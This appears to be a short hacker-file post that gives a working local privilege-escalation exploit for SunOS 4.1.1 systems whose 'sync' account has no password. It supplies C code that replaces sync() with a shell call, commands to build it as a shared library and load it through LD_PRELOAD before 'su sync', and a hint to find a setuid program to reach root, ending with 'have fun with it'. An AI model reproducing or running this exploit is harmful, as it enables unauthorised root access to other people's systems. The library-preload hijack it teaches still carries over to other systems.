Ok here's a little bug tyhat wil lwork for most 4.1.1 SunOS systems that
foolishly leave sync unpassworded.
 
Create Sync.c as follows
 
sync() {
execl("/bin/sh","sh",0);
}
 
then compile and do the rest:
 
cc -c -O -R -pic sync.c
ld -o buglib.so.1.1 -assert pure-text sync.o
setenv LD_PRELOAD ./buglib.so.1.1
su sync
 
sync is 1:1 so it has same GID as root usually..pretty easy to find a suid that you can execute from there...have fun with it but it works mostly on
4.1.1 no .3.